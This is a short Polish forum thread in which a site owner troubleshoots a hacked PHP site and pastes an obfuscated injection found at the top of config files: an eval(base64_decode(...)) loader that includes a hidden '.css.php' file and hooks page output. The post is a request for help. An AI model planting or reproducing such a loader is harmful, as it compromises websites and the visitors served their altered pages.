wrzuciłem świeży index.php i htaccess, ściągnąłem pliki z serwera i przeskanowałem nodem i zero zmiany
chyba czeka mnie czyszczenie całego serwerka i postawienie paru stron od nowa

---
chyba znalazłem winowajce
ciekawe jest to ze siedział w plikach system/config/
na początku plików doklejał tylko skąd ten syf ??
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3JjNS9kb21haW5zL3Njb3JwaW1lbi5ldS9wdWJsaWNfaHRtbC9ub3Q0dS9wbHVnaW5zL3RpbnlNQ0UvdGhlbWVzL3NpbXBsZS9za2lucy9vMms3L2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php if (!defined('TL_ROOT')) die('You can not access this file directly!');
---
jednak to nie to choć i tak dziwna sprawa skąd to się tam wzieło